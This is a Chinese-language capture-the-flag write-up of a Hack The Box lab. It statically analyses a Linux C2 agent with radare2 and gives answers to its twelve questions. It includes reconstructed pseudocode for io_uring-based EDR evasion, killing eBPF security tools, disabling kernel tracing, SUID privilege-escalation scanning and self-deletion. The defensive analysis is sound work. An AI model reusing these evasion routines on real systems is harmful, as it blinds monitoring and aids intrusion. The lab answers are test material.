# 靶场背景
你是蓝队 SOC 分析师,在 Linux 服务器 /var/tmp 发现了一个可疑二进制文件,它正尝试建立外连。你要对这个二进制做静态分析,理解它的功能、提取入侵指标(IoC)、分析攻击者的基础设施。
# 准备工作 — 解压与基础分析
动手解题前,先把环境准备好。SSH 连接到目标 Kali 机器,解压文件:
cd /home/kali/sherlocks/phantomring | |
unzip -P hacktheblue PhantomRing.zip | |
cd phantom_ring | |
ls -la |
解压得到一个名为 agent 的可执行文件。先查看它的基础信息:
file agent |
输出:
agent: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=1f617f2ea259a7ec724d7bbc01627982dc2f0495,
for GNU/Linux 3.2.0, not stripped
几个关键信息:
- ELF 64-bit — Linux 上的可执行文件
- dynamically linked — 依赖系统的动态链接库
- not stripped — 符号表还在,函数名没有删掉,这给分析帮了大忙
接下来我们也会用到 radare2 作为反汇编工具,它是分析未剥离(not stripped)ELF 文件的神器。
# Task 1 — SHA256 哈希
Q:What is the SHA256 hash of the malicious binary?
A: 2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5
详细过程:
这一步是所有取证分析的起点。SHA256 哈希值是文件的唯一 "指纹",你可以在后续的威胁情报平台(如 VirusTotal)搜索这个哈希来确认文件是否已知恶意。计算非常简单:
sha256sum agent |
2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5 agent
把这个哈希值记下来,后面的有些题目也会用到它。
# Task 2 — C2 通信的硬编码 IP
Q:What is the IP address hardcoded in the binary for C2 communication?
A: 192.168.56.1
详细过程:
静态分析的第一步永远是 strings —— 这个命令能从二进制文件中提取所有可读的 ASCII 字符串:
strings agent |
输出内容很多,但稍微扫一眼就能看到一个明显的 IP 地址:
192.168.56.1
这是恶意软件作者硬编码在代码里的 C2(Command & Control)服务器地址。为了确认它确实被用作 C2 地址(而不是某个无关的字符串),我们用 radare2 看看代码中是怎么引用它的:
r2 -e bin.relocs.apply=true -e bin.cache=true agent |
进入后先执行自动分析:
[0x00001000]> aaa
然后用 iz 命令列出 .rodata 段的所有字符串,过滤 IP:
[0x00001000]> iz~192
0x0000551b 12 12 192.168.56.1
接下来跳到 main 函数中引用这个字符串的地址附近,查看上下文:
[0x00001000]> s 0x421f ; pd 5
0x0000421f 48 8d 05 f5 12 00 00 lea rax, str.192.168.56.1
0x00004226 48 89 c6 mov rsi, rax
0x00004229 bf 02 00 00 00 mov edi, 2 ; AF_INET
0x0000422e e8 cd d1 ff ff call sym.imp.inet_pton
这段汇编做了什么?
lea rax, str.192.168.56.1— 把字符串地址加载到 rax 寄存器mov rsi, rax— 将字符串作为 inet_pton 的第二个参数mov edi, 2— 第一个参数为 2,即AF_INET(IPv4)call inet_pton— 将字符串转换为二进制格式的 IP 地址
所以 192.168.56.1 就是这个恶意 agent 要连接的 C2 服务器地址。
# Task 3 — C2 端口
Q:What port does the agent connect to on the C2 server?
A: 4445
详细过程:
找到了 IP,下一步就是找到它用哪个端口连接。在刚才查看的 main 函数中,调用 inet_pton 之前,还有一段代码:
[0x00001000]> s 0x4200 ; pd 10
0x00004200 bf 5d 11 00 00 mov edi, 0x115d
0x00004205 e8 46 d1 ff ff call sym.imp.htons
0x0000420a 66 89 85 02 ff ff ff mov word [rbp-0x100fe], ax
逐条解读:
mov edi, 0x115d— 把数值0x115D放入 edi 寄存器,作为 htons 函数的参数call htons— 调用 host to network short 函数,将本机字节序转为网络字节序(大端序)mov word [rbp-0x100fe], ax— 把转换后的结果写入栈上的sockaddr_in结构体
0x115D 是多少?转十进制: 1×16³ + 1×16² + 5×16 + 13 = 4096 + 256 + 80 + 13 = **4445**
继续往下看,这个地址结构体后面被传给 io_uring_prep_connect ,用于发起连接:
0x000042a8 b9 10 00 00 00 mov ecx, 0x10 ; sizeof(sockaddr_in)
0x000042b0 e8 a3 d4 ff ff call sym.io_uring_prep_connect
所以完整的 C2 地址就是: 192.168.56.1:4445 。
# Task 4 — 断线重连等待时间
Q:How many seconds does the agent wait before attempting to reconnect after a failed connection?
A: 120
详细过程:
在网络不稳定的环境中,C2 agent 如果连不上服务器,不能直接退出 —— 它会等待一段时间后重试。这个等待时间硬编码在代码里。
从 main 函数往下翻,连接失败的错误处理代码后面紧跟着一个 sleep 调用:
[0x00001000]> s 0x4340 ; pd 10
0x00004342 bf 78 00 00 00 mov edi, 0x78 ; 参数 = 120
0x00004347 e8 94 d1 ff ff call sym.imp.sleep
mov edi, 0x78 — 把 0x78 存入 edi 作为 sleep 函数的参数。 0x78 换算成十进制:
7 × 16 + 8 = 120
再往下翻几行,发现接收循环断开后还有第二个一模一样的 sleep:
0x000043e7 bf 78 00 00 00 mov edi, 0x78
0x000043ec e8 ef d0 ff ff call sym.imp.sleep
两处都是 120 秒。也就是说这个 agent 每次连接失败后都会等待整整 2 分钟再尝试重连。
# Task 5 — 支持的命令数量
Q:How many different commands does the agent support? (excluding invalid commands)
A: 11
详细过程:
恶意 agent 通常支持一组远程命令来让攻击者控制受害机器。我们来看看这个 agent 支持多少种命令。
先通过 radare2 列出所有函数,过滤出命令处理函数:
[0x00001000]> afl~cmd
0x00002635 17 891 sym.cmd_recv
0x00001e49 15 602 sym.cmd_users
0x000036ea 1 184 sym.cmd_exit
0x000037a2 40 1762 sym.cmd_killbpf
0x000032d8 16 622 sym.cmd_privesc
0x000023da 14 603 sym.cmd_get
0x00002cfc 42 1500 sym.cmd_kick
0x00003546 5 420 sym.cmd_selfdestruct
0x00003e84 27 735 sym.process_cmd <-- 这个是命令分发器
0x000020a3 14 823 sym.cmd_ss
0x000029b0 5 214 sym.cmd_me
0x00002a86 19 630 sym.cmd_ps
process_cmd 是命令分发器(dispatcher),它负责接收字符串、跟命令列表做比较、然后调用对应的处理函数。所以去掉它之后,有 11 个 cmd_* 函数。
# Task 6 — 规避 EDR 的内核接口
Q:What Linux kernel interface does this malware abuse to evade EDR syscall monitoring?
A: io_uring
详细过程:
这是这道题目里最有趣的技术点。在 strings 的输出中,我们看到了:
io_uring_queue_init
io_uring_get_sqe
io_uring_submit
io_uring_wait_cqe
用 radare2 确认所有以 io_uring 相关的函数:
[0x00003e84]> afl~io_uring
0x00001340 1 11 sym.imp.io_uring_submit
0x000013c0 1 11 sym.imp.io_uring_queue_exit
0x00001420 1 11 sym.imp.io_uring_queue_init
0x00001460 1 11 sym.imp.__io_uring_get_cqe
0x00001470 1 11 sym.imp.io_uring_get_sqe
0x00001609 5 108 sym.io_uring_cq_advance
0x00001675 3 43 sym.io_uring_cqe_seen
0x000016a0 1 184 sym.io_uring_prep_rw
0x00001758 1 61 sym.io_uring_prep_connect
0x00001795 1 75 sym.io_uring_prep_openat
0x000017e0 1 55 sym.io_uring_prep_close
0x00001817 1 66 sym.io_uring_prep_read
0x00001859 1 66 sym.io_uring_prep_write
0x0000189b 1 80 sym.io_uring_prep_statx
0x000018eb 1 79 sym.io_uring_prep_send
0x0000193a 1 79 sym.io_uring_prep_recv
0x00001989 1 71 sym.io_uring_prep_unlinkat
0x000019d0 1 53 sym.io_uring_wait_cqe_nr
0x00001a05 1 42 sym.io_uring_wait_cqe
所有 I/O 操作 —— 连接、收发数据、打开文件、写入、关闭、删除 —— 全都是通过 io_uring 完成的。这是一个很重要的安全知识点:
io_uring 为什么能规避 EDR?
传统的 Linux I/O 操作(read、write、connect、open 等)都是通过 syscall 指令触发的。当你的程序调用 read(fd, buf, size) 时,glibc 封装库会执行类似这样的指令:
mov eax, 0 ; syscall number for read (0)
syscall ; 触发系统调用
而 EDR(Endpoint Detection and Response)安全软件通常通过以下方式监控系统调用:
- hook
sys_call_table—— 拦截所有 syscall 入口 - 使用 kprobes /tracepoints —— 在特定 syscall 处设置监控点
io_uring 是 Linux 5.1+ 引入的一种异步 I/O 框架。它使用 ** 内核与用户空间共享的环形缓冲区(ring buffer)** 来提交和完成 I/O 请求:
- 应用程序在用户空间的 SQ(Submission Queue)中填入要执行的操作
- 内核从 SQ 中取出操作并执行
- 完成结果写入 CQ(Completion Queue)
- 应用程序从 CQ 中读取结果
整个过程中,只有 io_uring_enter (或 io_uring_setup 后的 mmap )涉及系统调用,具体的 I/O 操作不再经过传统的 syscall 路径。这就绕过了基于 syscall hook 的 EDR 监控。
# Task 7 — 枚举登录用户的文件
Q:What file does the agent read to enumerate logged-in users?
A: /var/run/utmp
详细过程:
先看看 cmd_users 函数做了什么:
[0x00001000]> s sym.cmd_users
[0x00001e49]> pdc
伪代码中可以看到它打开了一个文件:
fp = fopen("/var/run/utmp", "r"); | |
if (fp == NULL) { | |
perror("Error reading /var/run/utmp"); | |
return; | |
} | |
while (fscanf(fp, ...)) { | |
printf("%-8s %-8s", user, tty); | |
} |
** /var/run/utmp (现在通常在 /var/run/utmp ,有些发行版用 /var/log/wtmp )** 是 Linux 系统上记录当前登录用户信息的二进制文件。它可以告诉你:
- 谁当前登录了系统
- 他们从哪个 tty/SSH 登录
- 登录时间
攻击者用这个命令来了解还有哪些用户在机器上,然后可以用 kick 命令把他们踢掉。
从 strings 中也验证了相关的字符串:
/var/run/utmp
Error reading /var/run/utmp
Logged users:
%-8s %-8s
# Task 8 — SUID 提权扫描目录
Q:What directory does the agent scan when searching for SUID binaries for privilege escalation?
A: /usr/bin
详细过程:
privesc 命令的功能是扫描系统上可以用于提权的 SUID 二进制文件。来看看 cmd_privesc 的实现:
[0x00001000]> s sym.cmd_privesc
[0x000032d8]> pdc
伪代码逻辑如下:
DIR *dp = opendir("/usr/bin"); | |
if (dp == NULL) { | |
send("Failed to open /usr/bin"); | |
return; | |
} | |
while (dirent *de = readdir(dp)) { | |
char path[512]; | |
snprintf(path, sizeof(path), "/usr/bin/%s", de->d_name); | |
struct statx st; | |
io_uring_prep_statx(ring, AT_FDCWD, path, 0, STATX_MODE, &st); | |
io_uring_submit(ring); | |
io_uring_wait_cqe(ring, &cqe); | |
if (st.stx_mode & S_ISUID) { // 检查 SUID 位 (0x800) | |
char buf[8192]; | |
snprintf(buf, sizeof(buf), "%s\n", path); | |
send_all(ring, fd, buf, len); | |
} | |
} | |
closedir(dp); |
关于 SUID 的科普:
在 Linux 中,文件权限除了常用的 rwx(读、写、执行)之外,还有三个特殊权限位:SUID、SGID 和 Sticky Bit。
- SUID(Set User ID,
0x800)意味着:当用户执行这个文件时,进程的有效 UID 会变成文件所有者的 UID。 - 如果一个属于 root 的二进制文件设置了 SUID 位,那么普通用户执行它时就拥有了 root 权限。
- 常见的 SUID 程序有
passwd、sudo、su等。
恶意 agent 通过扫描 /usr/bin 下所有 SUID 二进制,把结果返回给 C2 服务器上的攻击者,攻击者就可以利用这些程序来提权(Privilege Escalation)。
注意 opendir 打开的是 "/usr/bin" ,这是题目要的答案。
# Task 9 — 识别 eBPF 安全工具的搜索字符串
Q:What string does the agent search for in /proc/[pid]/maps to identify security tools using eBPF?
A: anon_inode:bpf-map
详细过程:
cmd_killbpf 是这道题目里最复杂的一个函数,它专门用来检测并杀死使用 eBPF 的安全工具。它的逻辑分为三个阶段:
- 禁用内核 tracing
- 删除
/sys/fs/bpf下的 eBPF 文件 - 遍历进程杀死使用 BPF 的进程
我们关注第三阶段,反汇编 cmd_killbpf :
[0x00001000]> s sym.cmd_killbpf
[0x000037a2]> pdc
简化后的逻辑:
opendir("/proc"); | |
while (de = readdir(proc_dir)) { | |
if (isdigit(de->d_name[0])) { // 只处理数字开头的目录名(就是 PID) | |
char maps_path[256]; | |
snprintf(maps_path, sizeof(maps_path), "/proc/%s/maps", de->d_name); | |
char buf[0x4000]; | |
read_file_uring(ring, maps_path, buf, 0x4000); // 读取 /proc/PID/maps | |
if (strstr(buf, "anon_inode:bpf-map")) { // 搜索特征字符串 | |
pid = atoi(de->d_name); | |
kill(pid, SIGKILL); // 发送信号 9 | |
... | |
} | |
} | |
} |
什么是 bpf-map?
当进程使用 eBPF 时,它需要创建 BPF map(一种键值存储结构,用于在 eBPF 程序和用户空间之间交换数据)。这些 map 会以文件描述符的形式出现在进程的内存映射中,在 /proc/PID/maps 中显示为 anon_inode:bpf-map 。
为什么攻击者要杀它们?
安全软件(如 Falco、Cilium、Tetragon、安全代理等)通常使用 eBPF 来监控系统调用和网络活动。如果攻击者能杀掉这些进程,他们就可以在不受监控的情况下执行恶意操作。攻击者通过:
- 读取每个进程的
/proc/PID/maps - 检查是否包含
anon_inode:bpf-map - 如果找到就发
SIGKILL杀死该进程
实现了一个简单粗暴的反检测机制。注意 SIGKILL(信号 9) 是无法被捕获或忽略的 —— 直接干掉目标进程。
# Task 10 — 第一个被禁用的 tracing 文件
Q:What is the full path of the first tracing file the agent attempts to disable?
A: /sys/kernel/debug/tracing/tracing_on
详细过程:
还是在 cmd_killbpf 函数中,第一阶段操作的是内核 tracing 文件。来看它定义的三个路径:
[0x000037c3] lea rax, str._sys_kernel_debug_tracing_tracing_on ; [0]
lea rax, str._sys_kernel_debug_tracing_set_event ; [1]
lea rax, str._sys_kernel_debug_tracing_current_tracer ; [2]
这三个字符串在 .rodata 段中对应的位置:
0x00005330 → "/sys/kernel/debug/tracing/tracing_on"
0x00005358 → "/sys/kernel/debug/tracing/set_event"
0x00005380 → "/sys/kernel/debug/tracing/current_tracer"
代码通过一个循环,从索引 0 开始对每个文件先 open (使用 io_uring_prep_openat ),然后 write 一个 "0" 进去,最后 close :
const char *tracing_files[] = { | |
"/sys/kernel/debug/tracing/tracing_on", // [0] ← 第一个 | |
"/sys/kernel/debug/tracing/set_event", // [1] | |
"/sys/kernel/debug/tracing/current_tracer", // [2] | |
}; | |
for (int i = 0; i < 3; i++) { | |
fd = io_uring_open(tracing_files[i], O_WRONLY); | |
io_uring_write(fd, "0", 1); // 写入 "0" 禁用 | |
io_uring_close(fd); | |
} |
为什么是索引 0 的那个?因为循环从 i=0 开始,所以第一个被操作的是 tracing_on 。
这三个文件的作用分别是:
- tracing_on — 写入
0停止内核的所有 ftrace 跟踪(主开关) - set_event — 写入空内容清空跟踪事件列表
- current_tracer — 将当前跟踪器设为
nop(无跟踪)
简单说,攻击者先把 "监控摄像头" 关掉,然后再做坏事。
# Task 11 — 自毁前读取自身路径的 procfs
Q:What procfs path does the agent read to find its own executable location before self-destruction?
A: /proc/self/exe
详细过程:
sdestruct 命令是 agent 的 "自毁按钮"。执行后,agent 会删除自己的二进制文件然后退出。但在删除之前,它需要先知道自己在磁盘上存在哪个位置。
来看 cmd_selfdestruct 的实现:
[0x00001000]> s sym.cmd_selfdestruct
[0x00003546]> pdc
cmd_selfdestruct(ring_fd, socket_fd) { | |
char msg[] = "Agent will self-destruct\n"; | |
send_all(ring_fd, socket_fd, msg, strlen(msg)); | |
char buf[512]; | |
ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf) - 1); | |
if (len <= 0) return; | |
buf[len] = '\0'; | |
// 现在 buf 中存的是 agent 二进制文件的完整路径 | |
// 比如 /home/kali/phantom_ring/agent | |
// 使用 io_uring 删除自身 | |
sqe = io_uring_get_sqe(ring); | |
io_uring_prep_unlinkat(sqe, AT_FDCWD, buf, 0); | |
io_uring_submit(ring); | |
io_uring_wait_cqe(ring, &cqe); | |
puts("Agent disconnecting and exiting"); | |
exit(0); | |
} |
/proc/self/exe 是 Linux 内核提供的一个特别的符号链接。每个进程都可以通过这个路径读取到自身可执行文件的完整路径。例如:
- 如果程序是从
/usr/bin/python3启动的,读到的就是/usr/bin/python3 - 如果程序是从
/home/user/agent启动的,读到的就是/home/user/agent
readlink("/proc/self/exe", buf, size) 会把符号链接的目标路径写入 buf。拿到路径后,agent 通过 io_uring_prep_unlinkat (相当于 unlink() 系统调用)删除自身二进制文件,实现 "人间蒸发"。
思考题: 为什么 agent 要删除自身?因为 agent 先杀了安全工具(killbpf),再自毁,就可以做到 "打完就跑,不留痕迹"。
# Task 12 — 触发自毁删除的命令字符串
Q:What command string is compared by the agent to trigger deletion of its own binary?
A: sdestruct
详细过程:
回到 process_cmd 命令分发函数。注意观察所有命令用的比较方式:
[0x00001000]> s sym.process_cmd
[0x00003e84]> pdc
仔细看每一行比较指令:
if (strncmp(input, "get ", 4) == 0) //strncmp — 比较前 4 个字符 | |
... | |
else if (strncmp(input, "killbpf", 7) == 0) // strncmp | |
... | |
else if (strcmp(input, "sdestruct") == 0) //strcmp — 要求完全相等! | |
cmd_selfdestruct(...); | |
else if (strncmp(input, "exit", 4) == 0) // strncmp | |
... |
在看到 sdestruct 的代码时,注意特别之处:
0x000040a4 48 8d 05 ... lea rax, str.sdestruct ; 0x54cc
0x000040ab 48 89 c6 mov rsi, rax
0x000040ae 48 8b 45 d8 mov rax, qword [s1] ; 用户输入
0x000040b2 48 89 c7 mov rdi, rax
0x000040b5 e8 ... call sym.imp.strcmp ; 精确比较!
strcmp vs strncmp 的区别:
strncmp(s1, s2, n)— 只比较前 n 个字符。比如strncmp("get_anything", "get ", 4)会匹配成功。strcmp(s1, s2)— 必须两个字符串完全相等,包括长度。
大多数命令使用 strncmp (更宽松),但 sdestruct 和 netstat 使用 strcmp (更严格)。对于 sdestruct 来说这是一件很合理的事情:你肯定不希望某个误输入触发自毁,所以要求精确匹配。
一旦匹配成功,就会调用 cmd_selfdestruct 函数,执行我们在 Task 11 中看到的自毁流程。